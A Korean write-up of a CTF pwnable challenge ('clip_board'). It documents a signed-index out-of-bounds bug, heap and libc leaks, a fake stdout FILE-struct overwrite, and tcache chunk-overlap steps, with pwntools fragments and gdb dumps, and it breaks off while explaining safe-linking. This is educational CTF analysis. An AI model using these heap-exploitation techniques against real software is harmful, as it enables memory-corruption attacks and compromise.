문제개요
If you have something to save, save it.
nc 43.201.64.101 8888
Note
- 포너블 제대로 본지가 오래됐다는 것을 느꼈던 문제
- 예선 끝나고 10분 뒤에 쉘 획득..
- 나중에 대회 디스코드를 확인해보니 내 풀이는 혼자 뺑뺑 돌아갔던 풀이 :(
Files
.
├── clip_board
└── libc.so.6
1. Analysis (clip_board)
파일 정보
- x64 elf binary
- IDA Pro를 사용하여 분석
$ file clip_board
clip_board: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23eefb37b1fba618389fcd1c721212f41cd8e60d, for GNU/Linux 3.2.0, not stripped
checksec
$ checksec --file=./clip_board
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 58 Symbols No 0 3 ./clip_board
1.1. Concept
(1) menu
- 콘솔 노트 컨셉의 바이너리
- 3개의 기능 제공
AddClipBoard()
: 노트 테이블 특정 index에 노트 추가DelClipBoard()
: 노트 테이블 특정 index의 노트 삭제ViewClipBoard()
: 노트 테이블 특정 index의 노트 출력Exit
: 종료
__int64 main__16B2()
{
const void *ptr; // rax
int v1; // eax
char v3; // [rsp+Fh] [rbp-1h]
v3 = 0;
Setup();
ptr = (const void *)malloc_1170(32);
((void (*)(const char *, ...))printf_1140)("heap leak: %p\n\n", ptr);
do{
Menu(); // "1. Add clipboard"
// "2. Del clipboard"
// "3. View clipboard"
// "4. Exit"
v1 = get_int();
if ( v1 == 4 ){
v3 = 1;
}
else if ( v1 <= 4 ){
switch ( v1 ){
case 3:
ViewClipboard();
break;
case 1:
AddClipboard();
break;
case 2:
DelClipboard();
break;
}
}
}
(2) *_note_* global variables
- 3개(
check_chunk_list
,chunk_size_list
,chunk_list
)의 전역 변수를 사용하여 노트 작성 정보를 관리
check_chunk_list[index] = 1; // index 점유 여부 (0: 미사용, 1: 사용중)
chunk_size_list[index] = size; // index에 해당하는 노트의 사이즈
chunk_list[index] = malloc(size); // index에 해당하는 노트의 힙 주소
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x0 0x0
0x555555558060 <chunk_list+32>: 0x0 0x0
0x555555558070 <chunk_list+48>: 0x0 0x0
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558040 <chunk_list>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x555555558048 <chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
1.2. Vulnerability (Out-of-bound write / read / free)
AddClipboard()
,ViewClipboard()
,DelClipboard()
함수 내에서 노트 작성정보를 저장하는 전역변수(check_chunk_list
,chunk_size_list
,chunk_list
)에 접근할 때 out-of-bound memory access가 가능한 취약점이 존재- 각 함수는 위에서 설명한 3개의 전역변수(이하
*chunk*
)에 접근 시 boundary check를 수행(index <= 9
)하는데, 비교연산(<=
)에서index
를signed int
형으로 취급하므로,index
에 음수를 입력 시index <= 9
검증을 통과하게 되어 음수(낮은 주소) 방향으로 out-of-bound memory access가 가능
__int64 AddClipboard__128D()
{
__int64 result; // rax
int idx; // [rsp+0h] [rbp-10h]
unsigned int v2; // [rsp+4h] [rbp-Ch]
__int64 v3; // [rsp+8h] [rbp-8h]
((void (*)(const char *, ...))printf_1140)("index > ");
result = get_int();
idx = result;
if ( (int)result <= 9 ) // *** vulnerability ***
{
result = check_chunk_list[(int)result];
if ( !(_BYTE)result )
{
((void (*)(const char *, ...))printf_1140)("size > ");
result = get_int();
v2 = result;
if ( (int)result <= 256 )
{
result = malloc_1170(result);
v3 = result;
if ( result )
{
((void (*)(const char *, ...))printf_1140)("contents > ");
((void (__fastcall *)(__int64, _QWORD))get_input)(v3, v2);
check_chunk_list[idx] = 1;
chunk_size_list[idx] = v2;
result = v3;
chunk_list[idx] = v3;
}
}
}
}
return result;
}
- Add / Delete / View 함수에서 해당 취약점을 활용하면
*chunk*
전역변수를 기준으로 out-of-bound read / free / write가 가능하다.AddClipboard()
: OOB WriteDelClipboard()
: OOB FreeViewClipboard()
: OOB Read
2. Exploitation
2.1. Memory leak
(1) heap address leak
- 감사하게도 힙 주소는
main()
함수 시작 부분에서 선물로 제공되기 때문에 별도의 leak을 필요로 하지 않음
__int64 main__16B2()
{
const void *ptr; // rax
int v1; // eax
char v3; // [rsp+Fh] [rbp-1h]
v3 = 0;
Setup();
ptr = (const void *)malloc_1170(32);
((void (*)(const char *, ...))printf_1140)("heap leak: %p\n\n", ptr);
do
{
Menu(); // sub_1100("1. Add clipboard");
// sub_1100("2. Del clipboard");
// sub_1100("3. View clipboard");
// sub_1100("4. Exit");
// ............................
- 익스플로잇에서는 출력된 주소를 그대로 저장하여 활용
ru(b'heap leak: ')
heap_leak = int(rl().strip(), 16)
(2) libc address leak
ViewClipboard
__int64 ViewClipboard_146C()
{
__int64 v3; // rax
__int64 v1; // rdx
int v2; // [rsp+0h] [rbp-10h]
int note_size; // [rsp+4h] [rbp-Ch]
__int64 note_ptr; // [rsp+8h] [rbp-8h]
((void (*)(const char *, ...))printf_1140)("index > ");
v3 = get_int();
v2 = v3;
if ( (int)v3 <= 9 )
{
v3 = check_chunk_list[(int)v3];
if ( (_BYTE)v3 )
{
note_ptr = chunk_list[v2];
v1 = v2;
v3 = (unsigned int)chunk_size_list[v1];
note_size = chunk_size_list[v1];
if ( note_ptr )
{
if ( note_size <= 0x100 )
v3 = ((__int64 (__fastcall *)(__int64, __int64, _QWORD))write_1110)(1LL, note_ptr, note_size);
}
}
}
return v3;
}
- 바이너리의 유일한 출력 기능인
ViewClipboard
함수를 활용하여 libc address leak 가능 ViewClipboard
함수는check_chunk_list[index]
의 값이0
이 아닌 경우,chunk_list[index]
포인터에서chunk_size_list[index]
사이즈만큼 출력- 단,
if ( note_size <= 0x100 )
조건으로 인해chunk_size_list[index]
가 0x100 이하인 경우에만 출력이 가능 - ViewClipboard 함수의 출력 조건을 요약하면 아래와 같다.
1. (char)check_chunk_list[(int)index] != '\0'
2. (int)chunk_size_list[(int)index] <= 256
stdout pointer
ViewClipboard()
함수로 출력할 포인터를 찾기 위해*_chunk_*
전역변수 기준 음수(낮은주소)방향으로 메모리를 탐색하여stdout@GLIBC_2_2_5
포인터를 확인했다.
(gdb) x/30a 0x555555558000
0x555555558000: 0x0 0x555555558008
0x555555558010: 0x0 0x0
0x555555558020 <stdout@GLIBC_2.2.5>: 0x7ffff7e1a780 <_IO_2_1_stdout_> 0x0 # stdout object pointer
0x555555558030 <stdin@GLIBC_2.2.5>: 0x7ffff7e19aa0 <_IO_2_1_stdin_> 0x0
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x0 0x0
0x555555558060 <chunk_list+32>: 0x0 0x0
0x555555558070 <chunk_list+48>: 0x0 0x0
0x555555558080 <chunk_list+64>: 0x0 0x0
0x555555558090 <check_chunk_list>: 0x0 0x0
0x5555555580a0 <chunk_size_list>: 0x0 0x0
0x5555555580b0 <chunk_size_list+16>: 0x0 0x0
0x5555555580c0 <chunk_size_list+32>: 0x0 0x0
0x5555555580d0: 0x0 0x0
0x5555555580e0: 0x0 0x0
stdout@GLIBC_2_2_5
포인트는chunk_list[-4]
에 위치하며,ViewClipboard()
함수로 해당 포인터를 출력하기 위해서는 아래 조건을 만족해야 한다.
1. (char)check_chunk_list[-4] != '\0'
2. (int)chunk_size_list[-4] <= 256
- 익스플로잇에서는 1번 조건을 만족시키기 위해
index=-5
인 노트를 생성(char)check_chunk_list[-4]
$\subset$chunk_size_list[-5]
- 익스플로잇에서는 2번 조건을 만족시키기 위해
index=1
인 노트를 생성(int)chunk_size_list[-4]
$\supset$check_chunk_list[1]
(int)chunk_size_list[-4] = 0x100
- 이후
ViewClipboard()
함수로index=-4
인 노트를 출력하면 stdout 객체의 데이터를 0x100만큼 출력하게되어, 출력 결과에서 libc address를 leak할 수 있다.
python
add(1, 255, b'asdf')
add(-5, 255, b'asdf')
leaked = view(-4)
libc_base = u64(leaked[8:16]) - 0x21a803
global variables status
- 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x5555555592d0
0x555555558050 <chunk_list+16>: 0x0 0x0
0x555555558060 <chunk_list+32>: 0x0 0x0
0x555555558070 <chunk_list+48>: 0x0 0x0
0x555555558080 <chunk_list+64>: 0x0 0xff01000000
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x000000ff 0x00000000 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
- 위 과정을 통해 libc base adress를 획득할 수 있다.
libc_base : 0x7ffff7c00000
2.2. 전역변수 정리
- libc address leak을 위해
index=-4
가 점유된 상태이므로, 이후 stdout pointer overwrite을 위해check_chunk_list[-4]
초기화가 필요 (char)check_chunk_list[-4]
$\subset$chunk_list[9]
이므로index=9
인 노트를 생성 후 다시 제거하여 초기화- 또한,
index=1
의 노트도 점유되어있을 필요가 없으므로 제거
python
def reset_stdout_ptr():
add(9, 255, b'asdf')
delete(9)
delete(1)
reset_stdout_ptr()
global variables status
- 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x0 0x0
0x555555558060 <chunk_list+32>: 0x0 0x0
0x555555558070 <chunk_list+48>: 0x0 0x0
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
2.3. allocate dummy heap chunks
이후 단계에서 heap chunk overwrite을 위한 사전작업으로 사이즈가 0x20인 4개의 인접한 chunk를 생성한
add(4, 0x10, b'a') # chunk1 add(5, 0x10, b'bbbbbbbbA') # chunk2 add(6, 0x10, b'ccccccccA') # chunk3 add(7, 0x10, b'ddddddddA') # chunk4
global variables status
- 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x0 0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0 0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530 0x555555559550
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0x00 0x00 0x00 0x00 0x01 0x01 0x01 0x01
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000010 0x00000010 0x00000010 0x00000010
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
heap memory
- 위 python code가 실행 완료된 시점의 힙 메모리
0x5555555594e0: 0x0 0x21 // chunk1 ("a")
0x5555555594f0: 0x61 0x0
0x555555559500: 0x0 0x21 // chunk2 ("bbbbbbbbA")
0x555555559510: 0x6262626262626262 0x41
0x555555559520: 0x0 0x21 // chunk3 ("ccccccccA")
0x555555559530: 0x6363636363636363 0x41
0x555555559540: 0x0 0x21 // chunk4 ("ddddddddA")
0x555555559550: 0x6464646464646464 0x41
0x555555559560: 0x0 0x20aa1
2.3. Stdout pointer Overwrite
stdout
포인터가 위치한index=-4
에 새로운 노트를 추가하여 stdout 포인터가 공격자의 노트를 가리키게 할 수 있다.
stdout overwrite (예시)
payload = b''
add(-4, len(payload), payload)
stdout@GLIBC_2_2_5
이 가리키는FILE
구조체(노트)의 데이터를 제어할 수 있으므로FILE
구조체의 멤버 변수를 활용하여 rip를 컨트롤 할 방법을 고민해야 한다.FILE
구조체를 활용해야 하는 상황 자체를 꽤 오랜만에 마주했기 때문에...IO_validate_vtable()
함수로 인해 vtable 임의 조작이 막힌 상황에서 rip를 컨트롤 할 수 있는 방안을 알고있지 못했다.
FSOP way
- 구글링을 통해 발견한 다수의 자료는 본 문제와 유사한 상황에서 FSOP(File Stream Oriented Programming)를 활용하여 익스플로잇 하고있다. (vtable의 base 주소를
IO_validate_vtable()
검사에 통과하는 범위 내에서 일부 조작하여_IO_new_file_overflow()
핸들러를 호출하는 방법) - 링크 : FSOP (CTF Wiki EN)
- 하지만 libc 버전 차이 때문인지 구글링한 자료를 그대로 따라하는 것만으로는 바로 재현할 수 없었다. 물론, vtable base address를 바꿔가며 재현해볼 수 있었겠지만, 당시에는 FSOP를 의도한 것이 아닐 수 있겠다고 판단하여 다른 방향의 방법을 생각해냈다.
Another way
- FSOP를 제외한 상황에서, my_stdout->write_base 포인터를 조작함으로써 프로그램 내에서 발생하는 표준 출력을 원하는 주소를 덮어씌우는 방법을 선택했다.
- 마침
AddClipboard()
함수에서의 리턴 이후 stdout에 가장 먼저 출력되는 문자열은 메뉴("1. Add clipboard..."
)이며, 출력의 첫 글자인'1'
은0x31
이기 때문에, heap chunk의 사이즈 필드를 덮어씌우는데 사용할 수 있을 것으로 판단했다. - 앞선 heap 주소는 이전 과정을 통해 획득했으므로, 앞서 할당한 chunk1의 size 필드 주소를 계산하여 size 필드의 값을 0x21 -> 0x31로 조작했다.
python
- stdout overwrite (Modify stdout->write_base)
def stdout_overwrite(target_addr, target_size):
payload = b''
payload += p64(0xFBAD0000)
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_ptr
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_end
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_base
payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_base
payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_ptr
payload += p64(target_addr+target_size)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_end
payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_buf_base
payload += p64(libc_base + (0x7f53dac1a804 - 0x00007f53daa00000)) # _IO_buf_end
payload += p64(0) # _IO_save_base
payload += p64(0) # _IO_backup_base
payload += p64(0) # _IO_save_end
payload += p64(0) # _IO_marker
payload += p64(libc_base + (0x7f53dac19aa0 - 0x00007f53daa00000)) # _IO_chain
payload += p64(1) # _fileno
payload += p64(0xffffffffffffffff) # _old_offset
payload += p64(0xa000000)
payload += p64(libc_base + (0x7f53dac1ba70-0x00007f53daa00000)) # lock
payload += p64(0xffffffffffffffff)
payload += p64(0x0)
payload += p64(libc_base + (0x7f53dac199a0 - 0x00007f53daa00000))
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0xffffffff)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(io_file_jumps)
'''
gdb-peda$ x/a &stdout
0x55bc670c1020 <stdout@GLIBC_2.2.5>: 0x7f53dac1a780 <_IO_2_1_stdout_>
gdb-peda$ x/50a 0x7f53dac1a780
0x7f53dac1a780 <_IO_2_1_stdout_>: 0xfbad2887 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a790 <_IO_2_1_stdout_+16>: 0x7f53dac1a803 <_IO_2_1_stdout_+131> 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a7a0 <_IO_2_1_stdout_+32>: 0x7f53dac1a803 <_IO_2_1_stdout_+131> 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a7b0 <_IO_2_1_stdout_+48>: 0x7f53dac1a803 <_IO_2_1_stdout_+131> 0x7f53dac1a803 <_IO_2_1_stdout_+131>
0x7f53dac1a7c0 <_IO_2_1_stdout_+64>: 0x7f53dac1a804 <_IO_2_1_stdout_+132> 0x0
0x7f53dac1a7d0 <_IO_2_1_stdout_+80>: 0x0 0x0
0x7f53dac1a7e0 <_IO_2_1_stdout_+96>: 0x0 0x7f53dac19aa0 <_IO_2_1_stdin_>
0x7f53dac1a7f0 <_IO_2_1_stdout_+112>: 0x1 0xffffffffffffffff
0x7f53dac1a800 <_IO_2_1_stdout_+128>: 0xa000000 0x7f53dac1ba70 <_IO_stdfile_1_lock>
0x7f53dac1a810 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0
0x7f53dac1a820 <_IO_2_1_stdout_+160>: 0x7f53dac199a0 <_IO_wide_data_1> 0x0
0x7f53dac1a830 <_IO_2_1_stdout_+176>: 0x0 0x0
0x7f53dac1a840 <_IO_2_1_stdout_+192>: 0xffffffff 0x0
0x7f53dac1a850 <_IO_2_1_stdout_+208>: 0x0 0x7f53dac16600 <_IO_file_jumps>
gdb-peda$ vmmap libc
Start End Perm Name
0x00007f53daa00000 0x00007f53daa28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53daa28000 0x00007f53dabbd000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53dabbd000 0x00007f53dac15000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53dac15000 0x00007f53dac19000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007f53dac19000 0x00007f53dac1b000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
'''
##input('trigger')
add(-4, len(payload), payload)
reset_stdout_ptr()
stdout_overwrite(chunk1_start - 8, 1) # chunk1->size = 0x31
global variables status
- 위 python code가 실행 완료된 시점의 전역변수 상태
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x0 0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0 0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530 0x555555559550
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0xe0 0x00 0x00 0x00 0x01 0x01 0x01 0x01
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000010 0x00000010 0x00000010 0x00000010
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
heap memory (puts("1. Add clipboard") 호출 전)
- stdout pointer를 fake stdout object로 조작한 직후의 힙 메모리
0x5555555594e0: 0x0 0x21 // chunk1
0x5555555594f0: 0x61 0x0
0x555555559500: 0x0 0x21 // chunk2
0x555555559510: 0x6262626262626262 0x41
0x555555559520: 0x0 0x21 // chunk3
0x555555559530: 0x6363636363636363 0x41
0x555555559540: 0x0 0x21 // chunk4
0x555555559550: 0x6464646464646464 0x41
0x555555559560: 0x0 0xf1 // fake stdout object
0x555555559570: 0xfbad0800 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559580: 0x7ffff7e1a803 <_IO_2_1_stdout_+131> 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559590: 0x7ffff7e1a803 <_IO_2_1_stdout_+131> 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595a0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132> 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595b0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132> 0x0
0x5555555595c0: 0x0 0x0
0x5555555595d0: 0x0 0x7ffff7e19aa0 <_IO_2_1_stdin_>
0x5555555595e0: 0x1 0xffffffffffffffff
0x5555555595f0: 0xa000000 0x7ffff7e1ba70 <_IO_stdfile_1_lock>
0x555555559600: 0xffffffffffffffff 0x0
0x555555559610: 0x7ffff7e199a0 <_IO_wide_data_1> 0x0
0x555555559620: 0x0 0x0
0x555555559630: 0xffffffff 0x0
0x555555559640: 0x0 0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0 0x209b1
heap memory (puts("1. Add clipboard") 호출 후)
puts("1. Add clipboard");
함수가 실행되면 가장 첫 글자인 0x31이 write_base 포인터가 가리키는 chunk1의 size 필드에 overwrite
0x5555555594e0: 0x0 0x31 // chunk1 manipulated (0x21->0x31)
0x5555555594f0: 0x61 0x0
0x555555559500: 0x0 0x21 // chunk2
0x555555559510: 0x6262626262626262 0x41
0x555555559520: 0x0 0x21 // chunk3
0x555555559530: 0x6363636363636363 0x41
0x555555559540: 0x0 0x21 // chunk4
0x555555559550: 0x6464646464646464 0x41
2.4. tcache count 증가용 dummy 객체 생성
- 각 사이즈별 tcache entry는 자신의 linked list에 연결된 chunk의 개수를 저장하고 있음
- 이후 익스플로잇 과정에서 tcache entry에 강제로 chunk를 연결할 예정이므로, tcache count를 증가시키기 위해 free될 dummy chunk 1개를 미리 할당한다.
python
add(2, 0x10, b'dummy') # chunkx
global variables status (not changed)
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x555555559660 0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0 0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530 0x555555559550
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0xe0 0x00 0x01 0x00 0x01 0x01 0x01 0x01
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000010 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000010 0x00000010 0x00000010 0x00000010
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
heap memory
0x5555555594e0: 0x0 0x31 // chunk1
0x5555555594f0: 0x61 0x0
0x555555559500: 0x0 0x21 // chunk2
0x555555559510: 0x6262626262626262 0x41
0x555555559520: 0x0 0x21 // chunk3
0x555555559530: 0x6363636363636363 0x41
0x555555559540: 0x0 0x21 // chunk4
0x555555559550: 0x6464646464646464 0x41
0x555555559560: 0x0 0xf1 // fake stdout struct
0x555555559570: 0xfbad0800 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559580: 0x7ffff7e1a803 <_IO_2_1_stdout_+131> 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x555555559590: 0x7ffff7e1a803 <_IO_2_1_stdout_+131> 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595a0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132> 0x7ffff7e1a803 <_IO_2_1_stdout_+131>
0x5555555595b0: 0x7ffff7e1a804 <_IO_2_1_stdout_+132> 0x0
0x5555555595c0: 0x0 0x0
0x5555555595d0: 0x0 0x7ffff7e19aa0 <_IO_2_1_stdin_>
0x5555555595e0: 0x1 0xffffffffffffffff
0x5555555595f0: 0xa000000 0x7ffff7e1ba70 <_IO_stdfile_1_lock>
0x555555559600: 0xffffffffffffffff 0x0
0x555555559610: 0x7ffff7e199a0 <_IO_wide_data_1> 0x0
0x555555559620: 0x0 0x0
0x555555559630: 0xffffffff 0x0
(gdb)
0x555555559640: 0x0 0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0 0x21 // dummy chunk
0x555555559660: 0x796d6d7564 0x0
0x555555559670: 0x0 0x20991
2.5. chunk1 free and malloc -> chunk2 overwrite
- chunk size가 0x31로 조작된 chunk1을 free하면 사이즈 0x30에 해당하는 tcache entry에 연결된다.
python
# chunk1 to tcache (size : 0x31)
delete(4)
global variables status
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x555555559660 0x0
0x555555558060 <chunk_list+32>: 0x0 0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530 0x555555559550
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0xe0 0x00 0x01 0x00 0x00 0x01 0x01 0x01
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000010 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000000 0x00000010 0x00000010 0x00000010
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
heap memory
0x5555555594e0: 0x0 0x31 // chunk1 (freed)
0x5555555594f0: 0x555555559 0x63b28d844e0001f9
0x555555559500: 0x0 0x21 // chunk2
0x555555559510: 0x6262626262626262 0x41
0x555555559520: 0x0 0x21 // chunk3
0x555555559530: 0x6363636363636363 0x41
0x555555559540: 0x0 0x21 // chunk4
0x555555559550: 0x6464646464646464 0x41
0x555555559560: 0x0 0xf1 // fake stdout object
............................................
0x555555559640: 0x0 0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0 0x21 // dummy chunk
0x555555559660: 0x796d6d7564 0x0
0x555555559670: 0x0 0x20991
- 이 상태에서
malloc(0x20)
을 수행하면 앞서 free된 chunk1의 주소가 리턴되고, 0x20byte의 노트를 작성하면 chunk1과 인접한 chunk2의 size 필드를 조작할 수 있다. (chunk1에서 0x10byte의 heap overflow가 발생하는 상황과 동일한 상황이 만들어짐) - 위 상황을 활용해 chunk2의 size 필드를 0x21 -> 0x71로 조작한다.
python
# overwrite chunk2 header
chunk1_overflow = b'a'*0x10 + p64(0) + p64(0x71)
add(4, 0x20, chunk1_overflow)
global variables status
(gdb) x/10a &chunk_list
0x555555558040 <chunk_list>: 0x0 0x0
0x555555558050 <chunk_list+16>: 0x555555559660 0x0
0x555555558060 <chunk_list+32>: 0x5555555594f0 0x555555559510
0x555555558070 <chunk_list+48>: 0x555555559530 0x555555559550
0x555555558080 <chunk_list+64>: 0x0 0x0
(gdb) x/10bx &check_chunk_list
0x555555558090 <check_chunk_list>: 0xe0 0x00 0x01 0x00 0x01 0x01 0x01 0x01
0x555555558098 <check_chunk_list+8>: 0x00 0x00
(gdb) x/10wx &chunk_size_list
0x5555555580a0 <chunk_size_list>: 0x00000000 0x00000000 0x00000010 0x00000000
0x5555555580b0 <chunk_size_list+16>: 0x00000020 0x00000010 0x00000010 0x00000010
0x5555555580c0 <chunk_size_list+32>: 0x00000000 0x00000000
heap memory
0x5555555594e0: 0x0 0x31 // chunk1 (reallocated)
0x5555555594f0: 0x6161616161616161 0x6161616161616161
0x555555559500: 0x0 0x71 // chunk2 (manipulated)
0x555555559510: 0x6262626262626262 0x41
0x555555559520: 0x0 0x21 // chunk3
0x555555559530: 0x6363636363636363 0x41
0x555555559540: 0x0 0x21 // chunk4
0x555555559550: 0x6464646464646464 0x41
0x555555559560: 0x0 0xf1 // fake stdout object
............................................
0x555555559640: 0x0 0x7ffff7e16600 <_IO_file_jumps>
0x555555559650: 0x0 0x21
0x555555559660: 0x796d6d7564 0x0
0x555555559670: 0x0 0x20991
2.6. free manipulated chunks
(1) free(dummy chunk)
python
- 먼저, 앞서 할당한 dummy 객체(
index=2
)를 free하여 tcache count 증가
delete(2) # dummy (for tcache count)
tcache status
(0x20) tcache_entry[0](1): 0x555555559660
(0x110) tcache_entry[15](1): 0x5555555592d0
(2) free(chunk3)
python
향후 next 포인터를 덮어쓰기 위해 chunk3를 free하여 힙 메모리 상에 next 포인터를 앞서 할당한 chunk3를 free (
index=6
)delete(6)
tcache status
(0x20) tcache_entry[0](2): 0x555555559530 --> 0x555555559660
(0x110) tcache_entry[15](1): 0x5555555592d0
(3) free(chunk2)
python
앞서 할당한 chunk2를 free (
index=5
)delete(5)
tcache status
(0x20) tcache_entry[0](2): 0x555555559530 --> 0x555555559660
(0x70) tcache_entry[5](1): 0x555555559510 (overlap chunk with 0x555555559520(freed) )
(0x110) tcache_entry[15](1): 0x5555555592d0
2.7. stack address leak
(1) tcache encode
- LIBC 2.32부터는 tcache에 safe linking 이라는 포인터 보호기법이 추가됐다. 요약하자면, tcache entry에 연결되어있는 chunk의 next 필드를 chunk 주소의 일부 비트와 xor하여 저장하는 방식이다.
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) // ** Encode pointer **
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) // ** Decode pointer **
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); // ** Encode pointer **
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next); // ** Decode pointer **
--(tcache->counts[tc_idx]);
